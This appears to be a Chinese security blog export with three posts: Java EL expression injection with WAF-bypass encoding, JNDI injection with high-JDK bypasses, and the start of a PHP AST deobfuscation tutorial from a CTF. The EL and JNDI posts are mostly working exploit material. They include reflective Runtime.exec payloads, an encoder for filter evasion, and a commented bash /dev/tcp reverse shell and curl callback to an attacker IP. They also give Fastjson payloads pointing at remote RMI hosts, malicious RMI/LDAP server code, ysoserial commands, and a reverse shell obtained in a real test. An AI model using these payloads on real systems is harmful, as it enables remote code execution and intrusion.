1 2	javax.el.ExpressionFactory.createValueExpression() javax.el.ValueExpression.getValue()

如以下代码：

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import Javax.el.*;
public class Main {
    public static void main(String[] args) {
        ExpressionFactory factory = new ExpressionFactoryImpl();
        SimpleContext context = new SimpleContext();
        String pl = "ABC ${true.toString().toUpperCase()}";
        ValueExpression e = factory.createValueExpression(context, pl, String.class);
        System.out.println(e.getValue(context));
    }
}

常用 poc：

//对应于JSP页面中的pageContext对象（注意：取的是pageContext对象）
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

利用反射实现命令执行

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))}

EL + JS 引擎实现命令执行

1	${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")}

0x04 EL 绕过与防御

绕过

通过下面这段 EL，能够获取字符 C 则同理可以获取任意字符串

1	${true.toString().charAt(0).toChars(67)[0].toString()}

利用以上原理，通过 charAt 与 toChars 获取字符，在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤

生成 paylaod 脚本：

#coding: utf-8

#payload = "bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.169.112/7777$IFS0>&1"
#payload = "bash$IFS-c$IFS'curl 192.168.169.112:7777'"
#exp = '${pageContext.setAttribute("%s","".getClass().forName("%s").getMethod("%s","".getClass()).invoke("".getClass().forName("%s").getMethod("%s").invoke(null),"%s"))}' % ('a','java.lang.Runtime','exec','java.lang.Runtime','getRuntime','open -a Calculator.app')

def encode(payload):
encode_payload = ""
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload

exp = '${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}' % (encode('a'),encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('open -a Calculator.app'))

print(exp)

得到：

${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))}

防御

过滤敏感内容
使用其它方法
在 JSP 中加入<%@ page isELIgnored="false" %> 禁用

Reference

https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

https://blog.csdn.net/qyqingyan/article/details/20606845

https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass

Java JNDI 注入原理与高 JDK 版本绕过

2020-08-10T16:00:00.000Z

学习 Java JNDI 注入

0x01 JNDI 注入原理

1. 什么是 JNDI ？

Java Naming and Directory Interface (JNDI)，Java 命名和目录接口

客户端可以使用 JNDI 通过名称来发现和查找数据和对象，这些要查找对象可以存储在不同的命名或目录服务中，比如 Remote Method Invocation (RMI)，Common Object Request Broker Architecture (CORBA)， Lightweight Directory Access Protocol (LDAP) 或者 Domain Name Service (DNS)

官方结构图如下：

Remote Method Invocation (RMI)，远程方法调用

这个概念和 RPC 有点相似，但当然是不一样的，RPC 是 Remote Procedure Call，即远程过程调用，RMI 是远程方法调用，是面向对象的，以对象作为参数，https://www.geeksforgeeks.org/difference-between-rpc-and-rmi/

JAVA 的 RMI 依赖的通信协议为 JRMP (Java Remote Message Protocol ，Java 远程消息交换协议) ，而且在 RMI 中对象通过序列化的方式进行编码传输

RMI 的远程方法调用过程

RMI 是如何调用远程方法的呢，难道是把远程对象下载到客户端？RMI 确实传递了一个对象，但不是要使用的远程对象，而是 stub 对象， Java RMI stubs 是一个特殊类，用于客户端调用远程对象方法

上图为客户端获取 Java RMI stubs 的过程，stub 中含有远程对象的通信地址和端口等信息，调用过程如下：

客户端调用 stub 上的方法
stub 连接到服务器，提交参数
服务器执行对应的方法，返回结果
stub 将结果交给客户端

图中的 RMI Registry 即为 RMI 注册表，客户端连接后，用来返回远程对象的 stub，默认监听在 1099 端口

    try {
        Hello hello = new HelloImpl();
        Registry registry = null;
        try {
            // 创建Registry
            registry = LocateRegistry.createRegistry(1099);
        } catch (Exception e) {
e.printStackTrace();
        }
        //绑定远程对象到 Registry
        registry.bind("hello", hello);
    } catch (RemoteException e) {
        e.printStackTrace();
    } catch (AlreadyBoundException e) {
        e.printStackTrace();
    }
}

客户端查询

Registry registry = LocateRegistry.getRegistry("remote_host", 1099);
// 获取远程对象的引用
Hello hello = (Hello) registry.lookup("hello");
hello.sayHello("hello");

2. JNDI References 注入

所谓的 JNDI 注入就是控制 lookup 函数的参数，这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象，从而执行代码，完成利用

在 JNDI 服务中，通过绑定一个外部远程对象让客户端请求，从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。

具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时，则可以从其他服务器上加载 class 字节码文件来实例化

Reference 类常用属性：

className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议

比如：

1 2	Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); registry.bind("Exploit", new ReferenceWrapper(reference));

此时，假设使用 rmi 协议，客户端通过 lookup 函数请求上面 bind 设置的 Exploit

1 2	Context ctx = new InitialContext(); ctx.lookup("rmi://evilHost/Exploit");

因为绑定的是 Reference 对象，客户端在本地 CLASSPATH 查找 Exploit 类，如果没有则根据设定的 Reference 属性，到URL： http://evilHost/Exploit.class 获取构造对象实例，构造方法中的恶意代码就会被执行

3. Fastjson JdbcRowSetImpl 反序列化利用

这里以 Fastjson 为例，利用 JNDI 注入和 JdbcRowSetImpl 利用链实现 RCE

Fastjson 是 Alibaba 的一个 JSON 库 https://github.com/alibaba/fastjson

通过 https://github.com/CaijiOrz/fastjson-1.2.47-RCE 中的 marshalsec-0.0.3-SNAPSHOT-all.jar 快速开启 RMI 或者 LDAP 服务

然后在 Exploit.class 所在的目录开启一个 HTTP 服务，再 nc 监听一个端口接收反弹 shell 即可

Payload:

{
    "name": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://192.168.169.112:1099/Exploit",
        "autoCommit": true
    }
}

成功反弹 shell

该漏洞环境的 Java 版本是 openjdk 1.8.0_102，实际环境中在目标服务器上经常会遇到高版本 jdk，

Oracle JDK 6u45、7u21 之后：

java.rmi.server.useCodebaseOnly 的默认值被设置为 true

禁用自动加载远程类文件，仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载

https://www.oracle.com/java/technologies/javase/6u45-relnotes.html

https://www.oracle.com/java/technologies/javase/7u21-relnotes.html

RMI + JNDI References

Oracle JDK 6u141、7u131、8u121之后：

增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项，默认值为 false

不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类

https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141

https://www.oracle.com/java/technologies/javase/7u131-relnotes.html

https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

https://www.oracle.com/java/technologies/javase/6-relnotes.html

LDAP + JNDI References

Oracle JDK 11.0.1、8u191、7u201、6u211之后:

设置 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false

禁止 LDAP 协议使用远程 codebase

https://www.oracle.com/java/technologies/javase/11u-relnotes.html

https://www.oracle.com/java/technologies/javase/8u-relnotes.html

https://www.oracle.com/java/technologies/javase/7-support-relnotes.html#R170_201

关于 codebase 的官方文档：https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

能看出使用 LDAP 攻击的话，允许的 JDK 版本相对 RMI 要高一些，适用性会更强一些，只需要将 RMI 服务换成 LDAP 即可，同时 lookup 函数中的地址类型也要修改

4. JDNI 注入在高版本 JDK 的绕过

因为高版本禁止远程加载，那就在目标本地的 classpath（一组目录的集合，用于 jvm 搜索 class）中找一个类作为恶意的 Reference Factory 工厂类，利用这个本地 Factory 类执行命令，或者直接构造恶意的序列化对象，利用反序列化Gadget完成利用，因为 JNDI 注入会对该对象进行反序列化

即：

利用本地 Class 作为 Reference Factory
利用LDAP返回序列化数据，触发本地Gadget

（1）利用本地 Class 作为 Reference Factory

满足要求的工厂类条件：

存在于目标本地的 CLASSPATH 中
实现 javax.naming.spi.ObjectFactory 接口
少存在一个 getObjectInstance() 方法

而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择

getObjectInstance 方法如下

上图 119 行，传入的 Reference为 ResourceRef 类，后面通过反射的方式实例化 Reference 所指向的任意 Bean Class，调用 setter 方法为所有的属性赋值，该 Bean Class 的类名、属性、属性值，全都来自于 Reference 对象

再看后面代码

因为是 newInstance，所以只能调用无参构造，这就要求目标 class 得有无参构造方法，上面图中 “forceString” 可以给属性强制指定一个 setter 方法，参数为一个 String 类型

于是找到 javax.el.ELProcessor 作为目标 class，利用 el 表达式执行命令，工具 https://github.com/welk1n/JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

public ReferenceWrapper execByEL() throws RemoteException, NamingException{
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", String.format(
            "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                    "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                    ")",
            commandGenerator.getBase64CommandTpl()
    )));
    return new ReferenceWrapper(ref);
}

从代码中能看出该工具还有另一个利用方法，groovy.lang.GroovyShell，原理也是类似的

利用条件：

目标环境含有以下依赖

<dependency>
  <groupId>org.apache.tomcat.embedgroupId>
  <artifactId>tomcat-embed-elartifactId>
  <version>8.5.15version>
dependency>

因为要使用 javax.el.ELProcessor，所以需要 Tomcat 8+，SpringBoot 1.2.x+

恶意 RMI 服务代码

public class App
{
    public static void main( String[] args )
    {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
            //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
            //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
            resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("hello",referenceWrapper);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

实战案例

在一次测试任务中正好遇到了这类情况，服务器 JDK 版本略高（get shell 后发现是 openjdk 1.8.0_201），存在 fastjson <= 1.2.47 的反序列化漏洞，如下

但是使用 RMI + JNDI References 注入或者 LDAP + JNDI References 注入都是不行的，因为 JDK 版本限制，但是由于测试发现目标使用的是 springBoot，所以可以试一试 tomcat-el 利用链，利用本地 Class 作为 Reference Factory

这里直接使用 https://github.com/welk1n/JNDI-Injection-Bypass 的代码了，放在服务器上启动一个恶意 RMI Server

payload 打一下

{
    "name": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://vps_host/ExecByEL",
        "autoCommit": true
    }
}

服务器接收到请求，默认反弹的 shell 监听端口是 5555，可以在 EvilRMIServer.java 代码里改

接收反弹 shell

（2）利用反序列化触发本地 Gadget

在使用 LDAP + JNDI Reference 注入受到目标 JDK 版本限制的时候，无法让目标使用我们的远程类，这时可以使用 LDAP 直接返回一个序列化的对象数据，因为如果 Java 对象的 javaSerializedData 属性值不为空，则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化，利用目标本地 classpath 中的 gadget 进行反序列化而完成漏洞利用

假设目标使用了存在漏洞的 Commons Collections，先使用 ysoserial 生成一条反序列化 payload

1	java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'curl 192.168.169.112:7777' \| base64

因为现在 jdk 1.8 用的比较多，一些老 payload 如 CommonsCollections1、3 因为 jdk 更新了 AnnotationInvocationHandler，所以用不了，会出现java.lang.Override missing element entrySet 的错误

搭建恶意 ldap 服务，这里就直接使用 https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 中的代码了

修改环境所需要的 pom.xml，在 HackerLDAPRefServer.java 中的 javaSerializedData 更改 payload，然后 maven 构建即可，注意要打包好依赖

启动服务

1	java -cp hackerserver-jar-with-dependencies.jar HackerLDAPRefServer 192.168.169.112 8888 1389

下面是更改客户端代码，在项目中 PoC 目录，fastjsonjndi.Victim，只需要如下代码触发即可，其它代码可以先注释掉，更改对应的 Commons Collections 版本，将项目依赖打包好

根据自定义的 payload，监听对应端口，启动客户端，进行 JNDI lookup，成功利用反序列化执行系统命令

1	java -cp VictimClient-jar-with-dependencies.jar fastjsonjndi.Victim

（3）JRPM 反序列化

关于 JRMP 协议(Java Remote Message Protocol)，在上文中页有所提及，是 RMI 专用的 Java 远程消息交换协议，在 RMI 中，对象通过序列化的方式进行编码传输

服务端攻击客户端

首先利用 ysoserial 生成 payload 并建立一个 JRMPListener，作为服务端

1	java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open /Applications/Calculator.app"

下面找一个简单的客户端 lookup 连接即可，就直接使用上面的 Victim.java 修改了

其它代码注释，添加

try {
    Registry registry = LocateRegistry.getRegistry(1099);
    HelloInterface hello = (HelloInterface) registry.lookup("hello");
    System.out.println(hello.sayHello("hello!"));
} catch (Exception e) {
    e.printStackTrace();
}

接口类要继承 java.rmi.Remote

1
2
3

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

现在，启动客户端，连接服务端，如下图所示，由于客户端反序列化服务端返回的 payload 数据，成功利用 CommonsCollections6 弹出计算器

反过来客户端打服务端也是可以的，可以利用 ysoserial.exploit.JRMPClient

Reference

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/7079

基于 AST（抽象语法树）解 PHP 混淆

2020-03-23T16:00:00.000Z

以前段时间 XCTF 抗疫赛中的 hardphp 为例，该题目最终只有一只战队解出，题目作者 zsx 也在随后的文章中点了下解混淆的思路，不过在各 writeup 中没有找到有关解混淆的完整的代码，于是学习一下通过修改 AST 节点解混淆的方法

0x01 php-parser

php-parser 是一个 PHP 库，可以将 PHP 5 或 PHP 7 代码解析为抽象语法树（AST）

https://github.com/nikic/php-parser/releases

安装

1	composer require nikic/php-parser

安装好之后就可以直接引用了， require dirname(__FILE__).'/vendor/autoload.php';

官方文档中有说 XDebug 容易使 php-parser 的运行速度慢五倍以上，最好还是禁用吧

解析代码时首先创建一个解析器 ( parser instance )

1 2	use PhpParser\ParserFactory; $parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

使用 PREFER_PHP7 优先解析 PHP7 代码

使用 ParserFactory 的 parse 方法解析代码，得到一个 statement 节点数组，语法错误可以通过 PhpParser\Error 来捕获


use PhpParser\Error;
use PhpParser\ParserFactory;
require dirname(__FILE__).'/vendor/autoload.php';
$code = <<<'CODE'


echo 'Hello PHP';
CODE;

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

try {
    $stmts = $parser->parse($code);
    var_dump($stmts);
} catch (Error $e) {
    echo 'Parse Error: ', $e->getMessage();
}

可以看到 statement 节点数组如下

array(1) {
  [0]=>
  object(PhpParser\Node\Stmt\Echo_)#1100 (2) {
    ["exprs"]=>
    array(1) {
      [0]=>
      object(PhpParser\Node\Scalar\String_)#1099 (2) {
        ["value"]=>
        string(9) "Hello PHP"
        ["attributes":protected]=>
        array(3) {
          ["startLine"]=>
          int(3)
          ["endLine"]=>
          int(3)
          ["kind"]=>
          int(1)
        }
      }
    }
    ["attributes":protected]=>
    array(2) {
      ["startLine"]=>
      int(3)
      ["endLine"]=>
      int(3)
    }
  }
}

使用 NodeDumper 跟直观得查看 AST

use PhpParser\NodeDumper;

$nodeDumper = new NodeDumper;
echo $nodeDumper->dump($stmts), "\n";

输出：

array(
    0: Stmt_Echo(
        exprs: array(
            0: Scalar_String(
                value: Hello PHP
            )
        )
    )
)

通过 AST 可以方便查看或者修改代码中的某些值，比如通过 ($stmts[0]->exprs)[0]->value = 'Hello Word';即可修改 Hello PHP 为 Hello Word。但是这是在代码结构已知的情况下做的修改，效率并不高，php-parser 提供了一种用于遍历和访问节点树的组件 PhpParser\NodeTraverser

例如下面代码就可以将原本代码中的 echo 'Hello PHP'; 换成 print 'Hello Word';


use PhpParser\Error;
use PhpParser\ParserFactory;
use PhpParser\NodeDumper;
use PhpParser\NodeTraverser;
use PhpParser\Node;
use PhpParser\NodeVisitorAbstract;
use PhpParser\PrettyPrinter;


require dirname(__FILE__).'/vendor/autoload.php';

$code = <<<'CODE'


echo 'Hello PHP';

CODE;

class MyNodeVisitor extends NodeVisitorAbstract
{
    public function leaveNode(Node $node) {
        if ($node instanceof Node\Scalar\String_) {
            $node->value = 'Hello Word';
        }
    }
}

class PrintNodeVisitor extends NodeVisitorAbstract
{
    public function leaveNode(Node $node) {
        if ($node instanceof Node\Stmt\Echo_) {
            return new PhpParser\Node\Stmt\Expression( new Node\Expr\Print_(new Node\Scalar\String_(($node->exprs)[0]->value)) );
        }
    }
}

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

try {
    $stmts = $parser->parse($code);
    $traverser = new NodeTraverser;
    // 添加 node visitors
    $traverser->addVisitor(new MyNodeVisitor);
    $traverser->addVisitor(new PrintNodeVisitor);
    // 遍历 AST
    $new_stmts = $traverser->traverse($stmts);
    // 将 AST 转为 PHP 代码
    $prettyPrinter = new PrettyPrinter\Standard;
    $new_code = $prettyPrinter->prettyPrintFile($new_stmts);
    echo $code.PHP_EOL;
    echo "--After parser:--\n\n".$new_code;

} catch (Error $e) {
    echo 'Parse Error: ', $e->getMessage();
}

0x02 解混淆（Deobfuscate）

熟悉 php-parser 对 AST 节点的操作就可以解混淆了

比如这个 index.php，可以看出混淆后的基本代码格式为

unserialize + base64_decode 的方式赋值给 GLOBALS 数组，后面全都是基于 GLOBALS 数组的取值、运算和嵌套操作

思路也很简单，就是首先获取 $GLOBALS = unserialize(base64_decode("xxxx")) 模式的 PHP 代码得到的变量（数组），后面在发现调用该数组值时进行替换，然后运算表达式，将得到的字符串进行拼接，换一下变量名。

解变量名

通过正则判断变量名，然后替换节点为新变量名即可

// 变量重命名
class reNameVar extends NodeVisitorAbstract{

    public $varCount = 0;
    public $varReName = [];

    public function leaveNode(Node $node){
        if ($node instanceof Node\Expr\Variable) {
            if (!preg_match('/^[a-zA-Z0-9_]+$/', $node->name)) {
                if (in_array($node->name, array_keys($this->varReName))){
                    $new_var_name = str_replace($node->name, 'var_' . $this->varReName[$node->name], $node->name);
                    return (new Node\Expr\Variable($new_var_name));    
                }else{
                    $this->varReName[$node->name] = $this->varCount++;
                    $new_var_name = str_replace($node->name, 'var_' . $this->varReName[$node->name], $node->name);
                    return (new Node\Expr\Variable($new_var_name));    
                }
            }
            return ;
        }
    }
}

解 unserialize + base64_decode 混淆

在作者 zsx 的开发简单的PHP混淆器与解混淆器这篇文章中有一个简单的 demo，不过要改下，直接拿来是不行的，后面数组的值会获取不到，因为这里有两次 unserialize + base64_decode 混淆，而且后面是 ('unserialize')(('base64_decode')('xxx') 这种代码形式，还要控制获取 GLOBALS 数组内容为 NULL 时的返回结果，所以要加这两个判断

class ArrayToConstant extends NodeVisitorAbstract
{
    /**
     * @var string
     */
    public $_variableName = '';
    /**
     * @var array
     */
    public $_constants = [];

    public function enterNode(Node $node)
    {
        // 判断 unserialize(base64_decode('xxx'))
        if ($node instanceof Node\Expr\Assign &&
            $node->expr instanceof Node\Expr\FuncCall &&
            $node->expr->name instanceof Node\Name &&
            is_string($node->expr->name->parts[0]) &&
            $node->expr->name->parts[0] == 'unserialize' &&
            count($node->expr->args) === 1 &&
            $node->expr->args[0] instanceof Node\Arg &&
            $node->expr->args[0]->value instanceof Node\Expr\FuncCall &&
            $node->expr->args[0]->value->name instanceof Node\Name &&
            is_string($node->expr->args[0]->value->name->parts[0]) &&
            $node->expr->args[0]->value->name->parts[0] == 'base64_decode'
        ) {
            $string = $node->expr->args[0]->value->args[0]->value->value;
            $array = unserialize(base64_decode($string));
            $this->_variableName = $node->var->name;
            $this->_constants = $array;
            return new Node\Expr\Assign($node->var, Node\Scalar\LNumber::fromString("0"));
        }else if( // 判断 ('unserialize')(('base64_decode')('xxx') 
                $node instanceof Node\Expr\Assign &&
                $node->expr instanceof Node\Expr\FuncCall &&
                $node->expr->name instanceof Node\Scalar\String_ &&
                is_string($node->expr->name->value) &&
                $node->expr->name->value == 'unserialize' &&
                count($node->expr->args) === 1 &&
                $node->expr->args[0] instanceof Node\Arg &&
                $node->expr->args[0]->value instanceof Node\Expr\FuncCall &&
                $node->expr->args[0]->value->name instanceof Node\Scalar\String_ &&
                is_string($node->expr->args[0]->value->name->value) && 
                $node->expr->args[0]->value->name->value == 'base64_decode')
                {
                    $string = $node->expr->args[0]->value->args[0]->value->value;
                    $array = unserialize(base64_decode($string));
                    $this->_variableName = $node->var->name;
                    $this->_constants = $array;
                    return new Node\Expr\Assign($node->var, Node\Scalar\LNumber::fromString("0"));
        }else{
            return;
        }
    }

    public function leaveNode(Node $node)
    {
        if ($this->_variableName === '') return;
        if (
            $node instanceof Node\Expr\ArrayDimFetch &&
            $node->var->name === $this->_variableName
        ) {
            $val = $this->_constants[$node->dim->value];
            if ($val === null){  // 判断该 GLOBALS 值是否存在
                return;
            }
            if (is_string($val)) {
                return new Node\Scalar\String_($val);
            } elseif (is_double($val)) {
                return new Node\Scalar\DNumber($val);
            } elseif (is_int($val)) {
                return new Node\Scalar\LNumber($val);
            } else {
                return new Node\Expr\ConstFetch(new Node\Name\FullyQualified(json_encode($val)));
            }
        }
    }

}

解 GLOBALS 键名混淆

这个其实不是很必要，对逻辑没啥影响，不过看起来会工整些

// GLOBALS 键值重命名
class reNameArr extends NodeVisitorAbstract{

    // 计数
    private $arrCount = [];
    // 替换数组
    private $arrReName = [];

    public function leaveNode(Node $node){
        if ( $node instanceof Node\Expr\ArrayDimFetch && !($node->var instanceof Node\Expr\ArrayDimFetch) && !($node->dim instanceof Node\Expr\ArrayDimFetch) ) {
            $key = $node->dim->value;
            $arrName = $node->var->name;
            if (!preg_match('/^[a-zA-Z0-9_]+$/', $key)) {
                // 计数数组有改数组名记录
                if ($this->arrCount[$arrName] !== null){
                    // 判断该数组当前键值
                    if ($this->arrReName[$arrName][$key]  !== null){
                        $new_key_name = str_replace($key, 'key_' . $this->arrReName[$arrName][$key], $key);
                        return new Node\Expr\ArrayDimFetch( new Node\Expr\Variable($arrName), new Node\Scalar\String_($new_key_name) );
                    }else{ // 未替换该键值的操作
                        $this->arrReName[$arrName][$key] = $this->arrCount[$arrName]++;
                        $new_key_name = str_replace($key, 'key_' . $this->arrReName[$arrName][$key], $key);
                        return new Node\Expr\ArrayDimFetch( new Node\Expr\Variable($arrName), new Node\Scalar\String_($new_key_name) );
                    }
                }else{ // 未记录该数组
                    // 创建
                    $this->arrReName[$arrName] = [];
                    // 该数组计数
                    $this->arrCount[$arrName] = 0;
                    $this->arrReName[$arrName][$key] = $this->arrCount[$arrName]++;
                    $new_key_name = str_replace($key, 'key_' . $this->arrReName[$arrName][$key], $key);
                    return new Node\Expr\ArrayDimFetch( new Node\Expr\Variable($arrName), new Node\Scalar\String_($new_key_name) );
                }
            }
            return ;
        }
    }
}

计算数字表达式

// 计算表达式
class ExpressionToNumber extends NodeVisitorAbstract
{
    public function leaveNode(Node $node)
    {
        if ($node instanceof Node\Expr\BinaryOp\Plus &&
            ($node->left instanceof Node\Scalar\LNumber || $node->left instanceof Node\Scalar\String_ || $node->left instanceof Node\Expr\UnaryMinus) && $node->right instanceof Node\Expr\BinaryOp\Minus && ($node->right->left instanceof Node\Scalar\LNumber || $node->right->left instanceof Node\Scalar\String_) && ($node->right->right instanceof Node\Scalar\LNumber || $node->right->right instanceof Node\Scalar\String_)) {
            
            if ($node->left instanceof Node\Expr\UnaryMinus) {
                $a = -($node->left->expr->value);
            } else {
                    $a = $node->left->value;
            }
            $b = $node->right->left->value;
            $c = $node->right->right->value;
            return new Node\Scalar\LNumber($a + $b - $c);
        }
    }
}

此时通过再次使用 ArrayToConstant 遍历一下各节点就可以很好的去掉 unserialize + base64_decode 和 GLOBALS 混淆了

解 chr 函数混淆

